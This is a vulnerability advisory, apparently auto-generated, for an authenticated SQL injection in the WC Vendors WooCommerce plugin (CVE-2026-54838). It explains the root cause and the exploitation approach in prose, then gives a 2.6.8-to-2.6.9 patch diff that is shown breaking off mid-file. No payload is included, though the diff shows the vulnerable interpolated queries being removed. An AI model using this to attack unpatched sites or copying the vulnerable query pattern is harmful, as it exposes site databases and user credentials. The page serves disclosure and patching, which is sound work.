Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 27, 2026

CVE-2026-54838: WC Vendors – WooCommerce Multivendor, WooCommerce Marketplace, Product Vendors <= 2.6.8 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Plugin wc-vendors
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.6.8
Patched Version 2.6.9
Disclosed June 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54838:
This vulnerability is an authenticated SQL Injection in the WC Vendors – WooCommerce Multivendor plugin (versions up to 2.6.8). The flaw exists in the get_order_ids_for_product_ids() method within class-queries.php. An attacker with subscriber-level access can inject SQL queries, leading to data extraction. The CVSS score is 6.5 (Medium).

The root cause is insufficient escaping and lack of prepared statements in the get_order_ids_for_product_ids() function (class-queries.php, lines 301-350). The function directly concatenated order_types and order_status arrays into the SQL query using string interpolation: implode(“,'”, $order_types) and implode(“,'”, $order_status). These values were not cast to strings or validated, allowing an attacker to supply arbitrary SQL payloads through user-controlled parameters, such as custom order type strings passed via AJAX or REST endpoints that call this function.

Exploitation requires an authenticated user (subscriber or higher) who can influence the $order_types or $order_status parameters passed to get_order_ids_for_product_ids(). The attacker sends a crafted request to a vulnerable endpoint that invokes this function, such as vendor order retrieval AJAX actions. The payload is injected into the order type or order status values, bypassing the SQL query structure. The unescaped values are inserted directly into the IN() clause, enabling UNION-based or time-based SQL injection.

The patch (version 2.6.9) rewrites the query to use proper prepared statements. The $order_types and $order_status arrays are now filtered with array_filter() and is_string(), then passed as placeholders (%s) in the SQL query. The $product_ids are cast to integers with absint(). Input arrays are validated for emptiness before query execution. This prevents injection by ensuring all values are sanitized and bound as parameters.

Successful exploitation allows an attacker to extract sensitive information from the WordPress database, including user credentials, password hashes, session tokens, and order data. The impact is data confidentiality breach, which can lead to privilege escalation or further compromise of the site. No direct remote code execution is possible via this vector alone.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wc-vendors/class-wc-vendors.php
+++ b/wc-vendors/class-wc-vendors.php
@@ -8,11 +8,11 @@
  * Author URI:           https://www.wcvendors.com
  * GitHub Plugin URI:    https://github.com/wcvendors/wcvendors
  *
- * Version:              2.6.8
+ * Version:              2.6.9
  * Requires at least:    5.9
  * Tested up to:         7.0
  * WC requires at least: 5.0
- * WC tested up to:      10.6
+ * WC tested up to:      10.7
  *
  * Text Domain:          wc-vendors
  * Domain Path:          /languages/
@@ -145,7 +145,7 @@
         }

         if ( ! defined( 'WCV_VERSION' ) ) {
-            define( 'WCV_VERSION', '2.6.8' );
+            define( 'WCV_VERSION', '2.6.9' );
         }

         if ( ! defined( 'WCV_TEMPLATE_BASE' ) ) {
@@ -251,17 +251,10 @@
  */
 function wcvendors_check_version() {

-    if ( ! function_exists( 'get_plugin_data' ) ) {
-        require_once ABSPATH . 'wp-admin/includes/plugin.php';
-    }
-
-    $plugin_data    = get_plugin_data( __FILE__ );
-    $plugin_version = $plugin_data['Version'];
-    $db_version     = get_option( 'wcvendors_version', 0 );
+    $db_version = get_option( 'wcvendors_version', 0 );

-    if ( version_compare( $plugin_version, $db_version, '>' ) ) {
+    if ( version_compare( WCV_VERSION, $db_version, '>' ) ) {
         WCV_Activate::maybe_create_marketplace_report_cache_table();
         WCV_Activate::maybe_create_marketplace_report_cache();
-        flush_rewrite_rules();
     }
 }
--- a/wc-vendors/classes/admin/class-admin-users.php
+++ b/wc-vendors/classes/admin/class-admin-users.php
@@ -18,6 +18,12 @@
      */
     public function __construct() {

+        // These must fire in all contexts (admin, REST API, CLI, etc.) — not just is_admin().
+        add_action( 'user_register', array( $this, 'add_vendor_status_meta' ) );
+        add_action( 'set_user_role', array( $this, 'update_vendor_status_meta' ), 10, 3 );
+        add_action( 'set_user_role', array( $this, 'handle_pending_vendor_product_action' ), 20, 3 );
+        add_action( 'set_user_role', array( $this, 'handle_vendor_approval_product_restore' ), 20, 3 );
+
         if ( ! is_admin() ) {
             return;
         }
@@ -71,10 +77,6 @@
             // Check allowed product types and hide controls.
             add_filter( 'product_type_options', array( $this, 'check_allowed_product_type_options' ) );
         }
-
-        // Add vendor status meta key after new user is created.
-        add_action( 'user_register', array( $this, 'add_vendor_status_meta' ) );
-        add_action( 'set_user_role', array( $this, 'update_vendor_status_meta' ), 10, 3 );
     }

     /**
@@ -850,4 +852,152 @@
             delete_user_meta( $user_id, '_wcv_vendor_status' );
         }
     }
+
+    /**
+     * Maps the pending vendor product action option to a post status string.
+     *
+     * @since 2.6.8
+     * @return string 'draft' or 'pending'
+     */
+    private function get_pending_vendor_new_product_status() {
+        $action = get_option( 'wcvendors_pending_vendor_product_action', 'do_nothing' );
+        return ( 'set_to_draft' === $action ) ? 'draft' : 'pending';
+    }
+
+    /**
+     * When a vendor is moved to Pending Vendor, optionally update their published product statuses.
+     *
+     * @param int    $user_id   The user ID.
+     * @param string $role      The new role being set.
+     * @param array  $old_roles The previous roles.
+     * @since 2.6.8
+     */
+    public function handle_pending_vendor_product_action( $user_id, $role, $old_roles ) {
+        if ( 'pending_vendor' !== $role ) {
+            return;
+        }
+
+        if ( ! in_array( 'vendor', $old_roles, true ) ) {
+            return;
+        }
+
+        $action = get_option( 'wcvendors_pending_vendor_product_action', 'do_nothing' );
+
+        if ( 'do_nothing' === $action ) {
+            return;
+        }
+
+        $new_status = $this->get_pending_vendor_new_product_status();
+
+        // Use get_posts() directly to avoid woocommerce_product_query filters
+        // (e.g. hide_all_inactive_vendor_products) that would exclude this vendor
+        // since their status was already set to inactive before this hook runs.
+        // Only query parent products — variations are hidden implicitly when the parent status changes.
+        $product_ids = get_posts(
+            array(
+                'post_type'      => 'product',
+                'post_status'    => 'publish',
+                'author'         => $user_id,
+                'posts_per_page' => -1,
+                'fields'         => 'ids',
+            )
+        );
+
+        if ( empty( $product_ids ) ) {
+            return;
+        }
+
+        wp_defer_term_counting( true );
+        foreach ( $product_ids as $product_id ) {
+            wp_update_post(
+                array(
+                    'ID'          => absint( $product_id ),
+                    'post_status' => $new_status,
+                )
+            );
+        }
+        wp_defer_term_counting( false );
+
+        // Store affected IDs and the applied status so they can be restored on re-approval
+        // regardless of whether the setting changes in the interim.
+        update_user_meta(
+            $user_id,
+            '_wcv_pending_vendor_product_ids',
+            array(
+                'ids'    => $product_ids,
+                'status' => $new_status,
+            )
+        );
+
+        wc_get_logger()->info(
+            sprintf(
+                /* translators: 1: number of products updated, 2: new product status, 3: vendor user ID */
+                __( '%1$d product(s) set to "%2$s" for vendor #%3$d after role changed to Pending Vendor.', 'wc-vendors' ),
+                count( $product_ids ),
+                $new_status,
+                $user_id
+            ),
+            array( 'source' => 'wc-vendors' )
+        );
+    }
+
+    /**
+     * When a pending vendor is re-approved, restore any products that were auto-unpublished.
+     *
+     * @param int    $user_id    The user ID.
+     * @param string $role       The new role being set.
+     * @param array  $_old_roles The previous roles (unused; see inline comment).
+     * @since 2.6.8
+     */
+    public function handle_vendor_approval_product_restore( $user_id, $role, $_old_roles ) {
+        if ( 'vendor' !== $role ) {
+            return;
+        }
+
+        // Don't rely on $_old_roles here: the WCVendors "Approve" flow calls
+        // remove_role('pending_vendor') before set_role('vendor'), so by the time
+        // set_user_role fires, $_old_roles is already empty. Use meta presence as the gate.
+        $stored = get_user_meta( $user_id, '_wcv_pending_vendor_product_ids', true );
+
+        if ( empty( $stored ) || ! is_array( $stored ) || empty( $stored['ids'] ) ) {
+            return;
+        }
+
+        $product_ids     = $stored['ids'];
+        $expected_status = $stored['status'];
+
+        $restored = 0;
+        wp_defer_term_counting( true );
+        foreach ( $product_ids as $product_id ) {
+            $product_id = absint( $product_id );
+            if ( (int) get_post_field( 'post_author', $product_id ) !== $user_id ) {
+                continue;
+            }
+            $current_status = get_post_status( $product_id );
+            // Skip products that no longer exist or were manually changed since demotion.
+            if ( $current_status !== $expected_status ) {
+                continue;
+            }
+            wp_update_post(
+                array(
+                    'ID'          => $product_id,
+                    'post_status' => 'publish',
+                )
+            );
+            ++$restored;
+        }
+        wp_defer_term_counting( false );
+
+        delete_user_meta( $user_id, '_wcv_pending_vendor_product_ids' );
+
+        wc_get_logger()->info(
+            sprintf(
+                /* translators: 1: number of products restored, 2: vendor user ID */
+                __( '%1$d product(s) restored to "publish" for vendor #%2$d after re-approval.', 'wc-vendors' ),
+                $restored,
+                $user_id
+            ),
+            array( 'source' => 'wc-vendors' )
+        );
+    }
 }
--- a/wc-vendors/classes/admin/class-product-meta.php
+++ b/wc-vendors/classes/admin/class-product-meta.php
@@ -136,6 +136,11 @@
             }
         }

+        if ( ! empty( $product_misc['featured'] ) ) {
+            $css .= '#catalog-visibility-select input#_featured{display:none !important;}';
+            $css .= '#catalog-visibility-select label[for="_featured"]{display:none !important;}';
+        }
+
         return apply_filters( 'wcvendors_display_advanced_styles', $css );
     }

@@ -807,7 +812,7 @@
                 'sku'       => wc_string_to_bool( get_option( 'wcvendors_capability_product_sku', 'no' ) ),
                 'duplicate' => wc_string_to_bool( get_option( 'wcvendors_capability_product_duplicate', 'no' ) ),
                 'delete'    => wc_string_to_bool( get_option( 'wcvendors_capability_product_delete', 'no' ) ),
-                'featured'  => wc_string_to_bool( get_option( 'wcvendors_capability_product_featured', 'no' ) ),
+                'featured'  => ! wc_string_to_bool( get_option( 'wcvendors_capability_product_featured', 'no' ) ),
             )
         );
     }
--- a/wc-vendors/classes/admin/class-vendor-admin-dashboard.php
+++ b/wc-vendors/classes/admin/class-vendor-admin-dashboard.php
@@ -86,7 +86,7 @@
         $shop_description = true;
         $description      = get_user_meta( $user_id, 'pv_shop_description', true );
         $seller_info      = get_user_meta( $user_id, 'pv_seller_info', true );
-        $has_html         = get_user_meta( $user_id, 'pv_shop_html_enabled', true );
+        $has_html         = wc_string_to_bool( get_user_meta( $user_id, 'pv_shop_html_enabled', true ) );
         $shop_page        = WCV_Vendors::get_vendor_shop_page( wp_get_current_user()->user_login );
         $global_html      = wc_string_to_bool( get_option( 'wcvendors_display_shop_description_html', 'no' ) );

--- a/wc-vendors/classes/admin/class-wcv-admin-settings.php
+++ b/wc-vendors/classes/admin/class-wcv-admin-settings.php
@@ -78,7 +78,7 @@

         self::add_message( __( 'Your settings have been saved.', 'wc-vendors' ) );
         self::check_vendor_dashboard_page_validity();
-        update_option( 'wcvendors_queue_flush_rewrite_rules', 'yes' );
+        flush_rewrite_rules();
         do_action( 'wcvendors_settings_saved' );
     }

--- a/wc-vendors/classes/admin/emails/class-emails.php
+++ b/wc-vendors/classes/admin/emails/class-emails.php
@@ -414,7 +414,7 @@
                     'show_shipping_address'       => $show_shipping_address,
                     'show_customer_billing_name'  => $show_customer_billing_name,
                     'customer_billing_name'       => $customer_billing_name,
-                    'show_customer_shipping_name' => $show_customer_billing_name,
+                    'show_customer_shipping_name' => $show_customer_shipping_name,
                     'customer_shipping_name'      => $customer_shipping_name,
                     'order'                       => $order,
                     'sent_to_admin'               => $sent_to_admin,
@@ -432,7 +432,7 @@
                     'show_shipping_address'       => $show_shipping_address,
                     'show_customer_billing_name'  => $show_customer_billing_name,
                     'customer_billing_name'       => $customer_billing_name,
-                    'show_customer_shipping_name' => $show_customer_billing_name,
+                    'show_customer_shipping_name' => $show_customer_shipping_name,
                     'customer_shipping_name'      => $customer_shipping_name,
                     'order'                       => $order,
                     'sent_to_admin'               => $sent_to_admin,
--- a/wc-vendors/classes/admin/emails/class-wcv-vendor-notify-order.php
+++ b/wc-vendors/classes/admin/emails/class-wcv-vendor-notify-order.php
@@ -189,6 +189,64 @@
         }

         /**
+         * Populate preview data from the most recent vendor order.
+         *
+         * Called by WooCommerce before rendering the email preview.
+         *
+         * @since   2.6.9
+         * @return void
+         */
+        public function set_preview_data() {
+            $orders = wc_get_orders(
+                array(
+                    'limit'   => 1,
+                    'orderby' => 'date',
+                    'order'   => 'DESC',
+                    'status'  => array( 'processing', 'completed' ),
+                )
+            );
+
+            if ( empty( $orders ) ) {
+                return;
+            }
+
+            $order   = reset( $orders );
+            $vendors = WCV_Vendors::get_vendors_from_order( $order );
+
+            if ( empty( $vendors ) ) {
+                return;
+            }
+
+            $vendor_id     = key( $vendors );
+            $vendor_detail = reset( $vendors );
+
+            if ( ! is_a( $vendor_detail['vendor'], 'WP_User' ) ) {
+                return;
+            }
+
+            $this->object                          = $order;
+            $this->vendor_id                       = $vendor_id;
+            $this->order_items                     = $vendor_detail['line_items'];
+            $this->totals_display                  = $this->get_option( 'totals_display', 'both' );
+            $this->recipient                       = $vendor_detail['vendor']->user_email;
+            $this->placeholders['{order_date}']    = wc_format_datetime( $order->get_date_created() );
+            $this->placeholders['{order_number}']  = $order->get_order_number();
+            $this->placeholders['{customer_name}'] = $order->get_billing_first_name() . ' ' . $order->get_billing_last_name();
+        }
+
+        /**
+         * Set preview data if the email is being previewed in WooCommerce admin.
+         *
+         * @since   2.6.9
+         * @return void
+         */
+        private function maybe_set_preview_data() {
+            if ( apply_filters( 'woocommerce_is_email_preview', false ) ) {
+                $this->set_preview_data();
+            }
+        }
+
+        /**
          * Get content html.
          *
          * @access  public
@@ -197,6 +255,8 @@
          */
         public function get_content_html() {

+            $this->maybe_set_preview_data();
+
             return apply_filters(
                 'wcv_vendor_notify_order_get_content_html',
                 wc_get_template_html(
@@ -204,7 +264,7 @@
                     array(
                         'order'          => $this->object,
                         'vendor_id'      => $this->vendor_id,
-                        'vendor_items'   => $this->order_items,
+                        'vendor_items'   => $this->order_items ?? array(),
                         'email_heading'  => $this->get_heading(),
                         'totals_display' => $this->totals_display,
                         'sent_to_admin'  => false,
@@ -228,6 +288,8 @@
          */
         public function get_content_plain() {

+            $this->maybe_set_preview_data();
+
             return apply_filters(
                 'wcv_vendor_notify_order_get_content_plain',
                 wc_get_template_html(
@@ -235,7 +297,7 @@
                     array(
                         'order'          => $this->object,
                         'vendor_id'      => $this->vendor_id,
-                        'vendor_items'   => $this->order_items,
+                        'vendor_items'   => $this->order_items ?? array(),
                         'email_heading'  => $this->get_heading(),
                         'sent_to_admin'  => false,
                         'sent_to_vendor' => true,
--- a/wc-vendors/classes/admin/settings/class-wcv-settings-capabilities.php
+++ b/wc-vendors/classes/admin/settings/class-wcv-settings-capabilities.php
@@ -207,6 +207,45 @@
                             'id'   => 'product_add_options',
                         ),

+                        array(
+                            'title' => __( 'Product Visibility', 'wc-vendors' ),
+                            'type'  => 'title',
+                            'desc'  => sprintf(
+                                /* translators: %s vendor singular possessive */
+                                __( 'Control the visibility of a %s's products on the store.', 'wc-vendors' ),
+                                wcv_get_vendor_name( false, false )
+                            ),
+                            'id'    => 'wcvendors_pending_vendor_actions',
+                        ),
+
+                        array(
+                            'title'    => sprintf(
+                                /* translators: %s vendor singular name */
+                                __( 'When a %s Is Set to Pending', 'wc-vendors' ),
+                                wcv_get_vendor_name( false, false )
+                            ),
+                            'desc_tip' => sprintf(
+                                /* translators: %s vendor singular possessive */
+                                __( 'If a %s's account is moved to Pending, their published products can be automatically hidden until they are re-approved.', 'wc-vendors' ),
+                                wcv_get_vendor_name( false, false )
+                            ),
+                            'id'       => 'wcvendors_pending_vendor_product_action',
+                            'type'     => 'select',
+                            'class'    => 'wc-enhanced-select',
+                            'css'      => 'min-width:300px;',
+                            'default'  => 'do_nothing',
+                            'options'  => array(
+                                'do_nothing'     => __( 'Leave products as is', 'wc-vendors' ),
+                                'set_to_draft'   => __( 'Set products to Draft', 'wc-vendors' ),
+                                'set_to_pending' => __( 'Set products to Pending Review', 'wc-vendors' ),
+                            ),
+                        ),
+
+                        array(
+                            'type' => 'sectionend',
+                            'id'   => 'wcvendors_pending_vendor_actions',
+                        ),
+
                     )
                 );
             } elseif ( 'order' === $current_section ) {
@@ -321,6 +360,18 @@
                             'type'    => 'checkbox',
                         ),

+                        array(
+                            'title'   => __( 'Payment Method', 'wc-vendors' ),
+                            'desc'    => sprintf(
+                                /* translators: %s vendor name */
+                                __( 'Allow %s to view the payment method used by the customer', 'wc-vendors' ),
+                                wcv_get_vendor_name( false, false )
+                            ),
+                            'id'      => 'wcvendors_capability_order_payment_method',
+                            'default' => 'no',
+                            'type'    => 'checkbox',
+                        ),
+
                         array(
                             'type' => 'sectionend',
                             'id'   => 'order_view_options',
--- a/wc-vendors/classes/admin/settings/class-wcv-settings-display.php
+++ b/wc-vendors/classes/admin/settings/class-wcv-settings-display.php
@@ -32,6 +32,69 @@
             $this->label = __( 'Display', 'wc-vendors' );

             parent::__construct();
+
+            add_action( 'wcvendors_admin_field_wcv_dashboard_headings', array( $this, 'render_dashboard_headings_field' ) );
+        }
+
+        /**
+         * Render the dashboard page headings custom field.
+         *
+         * @param array $field Field data.
+         */
+        public function render_dashboard_headings_field( $field ) {
+            $headings = get_option( 'wcvendors_dashboard_headings', array() );
+
+            $builtin   = array(
+                'product'  => array(
+                    'slug'  => 'product',
+                    'label' => __( 'Products', 'wc-vendors' ),
+                ),
+                'order'    => array(
+                    'slug'  => 'order',
+                    'label' => __( 'Orders', 'wc-vendors' ),
+                ),
+                'reports'  => array(
+                    'slug'  => 'reports',
+                    'label' => __( 'Reports', 'wc-vendors' ),
+                ),
+                'settings' => array(
+                    'slug'  => 'settings',
+                    'label' => __( 'Settings', 'wc-vendors' ),
+                ),
+            );
+            $all_pages = apply_filters( 'wcv_dashboard_urls', $builtin );
+
+            $pages = array( 'home' => __( 'Dashboard', 'wc-vendors' ) );
+            foreach ( $all_pages as $key => $page ) {
+                if ( isset( $page['label'] ) ) {
+                    $slug           = isset( $page['slug'] ) ? $page['slug'] : $key;
+                    $pages[ $slug ] = $page['label'];
+                }
+            }
+            ?>
+            <tr valign="top">
+                <th scope="row" class="titledesc">
+                    <?php echo esc_html( $field['title'] ); ?>
+                </th>
+                <td class="forminp">
+                    <div class="wcv-dashboard-headings-grid">
+                        <?php foreach ( $pages as $key => $label ) : ?>
+                            <?php $val = isset( $headings[ $key ] ) ? $headings[ $key ] : ''; ?>
+                            <label>
+                                <?php echo esc_html( $label ); ?>
+                                <input
+                                    type="text"
+                                    name="wcvendors_dashboard_headings[<?php echo esc_attr( $key ); ?>]"
+                                    value="<?php echo esc_attr( $val ); ?>"
+                                    placeholder="<?php echo esc_attr( $label ); ?>"
+                                />
+                            </label>
+                        <?php endforeach; ?>
+                    </div>
+                    <p class="description"><?php esc_html_e( 'Leave blank to use the default label.', 'wc-vendors' ); ?></p>
+                </td>
+            </tr>
+            <?php
         }

         /**
@@ -250,6 +313,12 @@
                         ),

                         array(
+                            'title' => __( 'Dashboard Page Headings', 'wc-vendors' ),
+                            'type'  => 'wcv_dashboard_headings',
+                            'id'    => 'wcvendors_dashboard_headings',
+                        ),
+
+                        array(
                             'type' => 'sectionend',
                             'id'   => 'label_options',
                         ),
@@ -498,6 +567,28 @@
                                 ),
                             ),
                         ),
+
+                        array(
+                            'title'    => sprintf(
+                                /* translators: %s vendor label */
+                                __( '%s Store Sidebar', 'wc-vendors' ),
+                                wcv_get_vendor_name()
+                            ),
+                            'desc'     => sprintf(
+                                /* translators: %s vendor label */
+                                __( 'Show a sidebar on %s store pages', 'wc-vendors' ),
+                                wcv_get_vendor_name( true, false )
+                            ),
+                            'desc_tip' => sprintf(
+                                /* translators: %s vendor label */
+                                __( 'Shows a sidebar widget area on %s store pages. The WooCommerce default sidebar will be hidden.', 'wc-vendors' ),
+                                wcv_get_vendor_name( true, false )
+                            ),
+                            'id'       => 'wcvendors_vendor_shop_sidebar_enabled',
+                            'default'  => 'no',
+                            'type'     => 'checkbox',
+                        ),
+
                         array(
                             'type' => 'sectionend',
                             'id'   => 'shop_options',
--- a/wc-vendors/classes/class-install.php
+++ b/wc-vendors/classes/class-install.php
@@ -62,7 +62,6 @@
         add_action( 'admin_init', array( __CLASS__, 'install_actions' ) );
         add_filter( 'plugin_row_meta', array( __CLASS__, 'plugin_row_meta' ), 10, 2 );
         add_filter( 'plugin_action_links_' . WCV_PLUGIN_BASE, array( __CLASS__, 'plugin_action_links' ) );
-        add_action( 'wcvendors_update_options_display', array( __CLASS__, 'maybe_flush_rewrite_rules' ) );
     }

     /**
@@ -541,19 +540,6 @@
     }

     /**
-     * Flush rules if the event is queued.
-     *
-     * @since 2.0.0
-     */
-    public static function maybe_flush_rewrite_rules() {
-
-        if ( wc_string_to_bool( get_option( 'wcvendors_queue_flush_rewrite_rules', 'no' ) ) ) {
-            update_option( 'wcvendors_queue_flush_rewrite_rules', 'no' );
-            flush_rewrite_rules();
-        }
-    }
-
-    /**
      * Define the new capabilities for vendors
      *
      * @since 2.1.6
--- a/wc-vendors/classes/class-queries.php
+++ b/wc-vendors/classes/class-queries.php
@@ -301,9 +301,10 @@
      * @param array $product_ids The list of product IDs.
      * @param array $order_types The order types.
      * @param array $order_status The order status.
-     * @return array|int
-     * @version 2.4.8
+     * @return array Order IDs, or empty array when any of $product_ids, $order_types or $order_status resolve to empty.
+     * @version 2.6.9
      * @since   2.4.8 - Added
+     * @since   2.6.9 - Switched IN() clauses to prepared placeholders; returns empty array on empty inputs.
      */
     public static function get_order_ids_for_product_ids( $product_ids, $order_types = array(), $order_status = array() ) {
         global $wpdb;
@@ -318,10 +319,19 @@
             array( 'wc-completed', 'wc-processing' ),
         );

-        $order_types          = implode( "','", $order_types );
-        $order_status         = implode( "','", $order_status );
+        $order_types  = array_values( array_filter( (array) $order_types, 'is_string' ) );
+        $order_status = array_values( array_filter( (array) $order_status, 'is_string' ) );
+        $product_ids  = array_values( array_filter( array_map( 'absint', (array) $product_ids ) ) );
+
+        if ( empty( $order_types ) || empty( $order_status ) || empty( $product_ids ) ) {
+            return array();
+        }
+
+        $types_placeholder    = implode( ',', array_fill( 0, count( $order_types ), '%s' ) );
+        $status_placeholder   = implode( ',', array_fill( 0, count( $order_status ), '%s' ) );
         $products_placeholder = implode( ',', array_fill( 0, count( $product_ids ), '%d' ) );
-        // phpcs:disable
+
+        // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
         if ( wcv_cot_enabled() ) {
             return $wpdb->get_col(
                 $wpdb->prepare(
@@ -330,34 +340,34 @@
                     LEFT JOIN {$wpdb->prefix}woocommerce_order_itemmeta as order_item_meta
                         ON order_items.order_item_id = order_item_meta.order_item_id
                     LEFT JOIN {$wpdb->prefix}wc_orders AS orders ON order_items.order_id = orders.id
-                    WHERE orders.type IN ('" . $order_types . "')
-                    AND orders.status IN ('" . $order_status . "')
+                    WHERE orders.type IN ($types_placeholder)
+                    AND orders.status IN ($status_placeholder)
                     AND order_items.order_item_type = 'line_item'
                     AND order_item_meta.meta_key IN ( '_product_id', '_variation_id' )
                     AND order_item_meta.meta_value IN ($products_placeholder)",
-                    $product_ids
+                    array_merge( $order_types, $order_status, $product_ids )
                 )
             );
         }

         // Get order id from post meta.
-        $order_ids =  $wpdb->get_col(
+        $order_ids = $wpdb->get_col(
             $wpdb->prepare(
                 "SELECT order_items.order_id
                 FROM {$wpdb->prefix}woocommerce_order_items as order_items
                 LEFT JOIN {$wpdb->prefix}woocommerce_order_itemmeta as order_item_meta
                     ON order_items.order_item_id = order_item_meta.order_item_id
                 LEFT JOIN {$wpdb->posts} AS posts ON order_items.order_id = posts.ID
-                WHERE posts.post_type IN ('" . $order_types . "')
-                AND posts.post_status IN ('" . $order_status . "')
+                WHERE posts.post_type IN ($types_placeholder)
+                AND posts.post_status IN ($status_placeholder)
                 AND order_items.order_item_type = 'line_item'
                 AND order_item_meta.meta_value IN ($products_placeholder)
                 AND order_item_meta.meta_key IN ( '_product_id', '_variation_id' )",
-                $product_ids
+                array_merge( $order_types, $order_status, $product_ids )
             )
         );
-        return $order_ids;
         // phpcs:enable
+        return $order_ids;
     }

     /**
--- a/wc-vendors/classes/class-uninstall.php
+++ b/wc-vendors/classes/class-uninstall.php
@@ -128,7 +128,6 @@
         delete_option( 'wcvendors_install_date' );
         delete_option( 'wcvendors_admin_notices' );
         delete_option( 'wcvendors_wizard_complete' );
-        delete_option( 'wcvendors_queue_flush_rewrite_rules' );
         delete_option( 'wcvendors_admin_notice_email_updates' );
     }

--- a/wc-vendors/classes/class-vendors.php
+++ b/wc-vendors/classes/class-vendors.php
@@ -1381,7 +1381,7 @@
      */
     public static function add_rewrite_rules() {

-        $permalink = untrailingslashit( get_option( 'wcvendors_vendor_shop_permalink' ) );
+        $permalink = untrailingslashit( get_option( 'wcvendors_vendor_shop_permalink', 'vendors' ) );

         // Remove beginning slash.
         if ( '/' === substr( $permalink, 0, 1 ) ) {
--- a/wc-vendors/classes/class-wc-vendors-bootstrap.php
+++ b/wc-vendors/classes/class-wc-vendors-bootstrap.php
@@ -90,10 +90,9 @@
         add_action( 'plugins_loaded', array( $this, 'load_il8n' ) );
         // Install & upgrade.
         add_action( 'admin_init', array( $this, 'check_install' ) );
-        add_action( 'init', array( $this, 'maybe_flush_permalinks' ), 99 );
         add_action( 'admin_init', array( $this, 'wcv_required_ignore_notices' ) );

-        add_action( 'wcvendors_flush_rewrite_rules', array( $this, 'flush_rewrite_rules' ) );
+        add_action( 'wcvendors_flush_rewrite_rules', 'flush_rewrite_rules' );

         $this->include_gateways();
         $this->include_core();
@@ -112,7 +111,7 @@

         // Add become a vendor rewrite endpoint.
         add_action( 'init', array( $this, 'add_rewrite_endpoint' ) );
-        add_action( 'after_switch_theme', array( $this, 'flush_rewrite_rules' ) );
+        add_action( 'after_switch_theme', 'flush_rewrite_rules' );

         // Add shop vendor order type.
         add_filter( 'wc_order_types', array( $this, 'add_custom_order_types' ), 99, 2 );
@@ -469,6 +468,27 @@
         new WCV_Vendor_Reports();
         new WCV_Product_Meta();
         new WCV_Admin_Users();
+
+        add_action( 'widgets_init', array( $this, 'register_vendor_shop_sidebar' ) );
+    }
+
+    /**
+     * Register the vendor shop sidebar widget area.
+     *
+     * @since 2.6.9
+     */
+    public function register_vendor_shop_sidebar() {
+        register_sidebar(
+            array(
+                'name'          => __( 'Vendor Shop', 'wc-vendors' ),
+                'id'            => 'wcv-vendor-shop-sidebar',
+                'description'   => __( 'Widgets displayed on the vendor shop page.', 'wc-vendors' ),
+                'before_widget' => '<div id="%1$s" class="widget %2$s">',
+                'after_widget'  => '</div>',
+                'before_title'  => '<h2 class="widget-title">',
+                'after_title'   => '</h2>',
+            )
+        );
     }

     /**
@@ -541,34 +561,12 @@
     }

     /**
-     *  If the settings are updated and the vendor page link has changed update permalinks
-     *
-     * @access public
-     */
-    public function maybe_flush_permalinks() {
-        if ( wc_string_to_bool( get_option( 'wcvendors_queue_flush_rewrite_rules', 'no' ) ) ) {
-            $this->flush_rewrite_rules();
-            update_option( 'wcvendors_queue_flush_rewrite_rules', 'no' );
-        }
-    }
-
-    /**
-     * Flush rewrite rules.
-     *
-     * @return void
-     */
-    public function flush_rewrite_rules() {
-        flush_rewrite_rules();
-    }
-
-    /**
      * Add rewrite endpoint
      *
      * @return void
      */
     public function add_rewrite_endpoint() {
         add_rewrite_endpoint( 'become-a-vendor', EP_PAGES );
-        $this->maybe_flush_permalinks();
     }

     /**
--- a/wc-vendors/classes/front/account/class-wc-account-links.php
+++ b/wc-vendors/classes/front/account/class-wc-account-links.php
@@ -43,7 +43,6 @@
         add_filter( 'woocommerce_account_menu_items', array( $this, 'add_account_menu_items' ) );
         add_action( 'woocommerce_account_become-a-vendor_endpoint', array( $this, 'render_vendor_signup' ) );
         add_filter( 'query_vars', array( $this, 'query_vars' ), 0 );
-        add_action( 'wcvendors_flush_rewrite_rules', array( $this, 'flush_rewrite_rules' ) );
     }

     /**
@@ -99,16 +98,6 @@
     }

     /**
-     * Flushes rewrite rules when a Theme / WC Vendors settings are changed
-     *
-     * @return void
-     */
-    public function flush_rewrite_rules() {
-
-        flush_rewrite_rules();
-    }
-
-    /**
      * Render the become a vendor signup page in the my account page
      * If the current user is already a vendor, hide the signup form and show a message
      *
--- a/wc-vendors/classes/front/class-vendor-shop.php
+++ b/wc-vendors/classes/front/class-vendor-shop.php
@@ -26,6 +26,10 @@
      */
     public function __construct() {

+        add_filter( 'template_include', array( $this, 'maybe_load_vendor_shop_template' ), 100 );
+        add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_vendor_shop_styles' ) );
+        add_action( 'woocommerce_before_main_content', array( $this, 'suppress_wc_sidebar_on_vendor_page' ), 1 );
+
         add_action( 'woocommerce_product_query', array( $this, 'vendor_shop_query' ), 10, 1 );
         add_action( 'woocommerce_before_main_content', array( 'WCV_Vendor_Shop', 'shop_description' ), 30 );
         add_filter( 'woocommerce_product_tabs', array( 'WCV_Vendor_Shop', 'seller_info_tab' ) );
@@ -131,8 +135,8 @@
         if ( WCV_Vendors::is_vendor( $post->post_author ) ) {

             $seller_info = get_user_meta( $post->post_author, 'pv_seller_info', true );
-            $has_html    = get_user_meta( $post->post_author, 'pv_shop_html_enabled', true );
-            $global_html = get_option( 'wcvendors_display_shop_description_html' );
+            $has_html    = wc_string_to_bool( get_user_meta( $post->post_author, 'pv_shop_html_enabled', true ) );
+            $global_html = wc_string_to_bool( get_option( 'wcvendors_display_shop_description_html', 'no' ) );

             $seller_info_label = __( get_option( 'wcvendors_display_label_store_info' ), 'wc-vendors' ); // phpcs:ignore

@@ -192,8 +196,8 @@
         $vendor_id   = WCV_Vendors::get_vendor_id( $vendor_shop );

         if ( $vendor_id ) {
-            $has_html    = get_user_meta( $vendor_id, 'pv_shop_html_enabled', true );
-            $global_html = 'yes' === get_option( 'wcvendors_display_shop_description_html', 'no' ) ? true : false;
+            $has_html    = wc_string_to_bool( get_user_meta( $vendor_id, 'pv_shop_html_enabled', true ) );
+            $global_html = wc_string_to_bool( get_option( 'wcvendors_display_shop_description_html', 'no' ) );
             $description = do_shortcode( get_user_meta( $vendor_id, 'pv_shop_description', true ) );

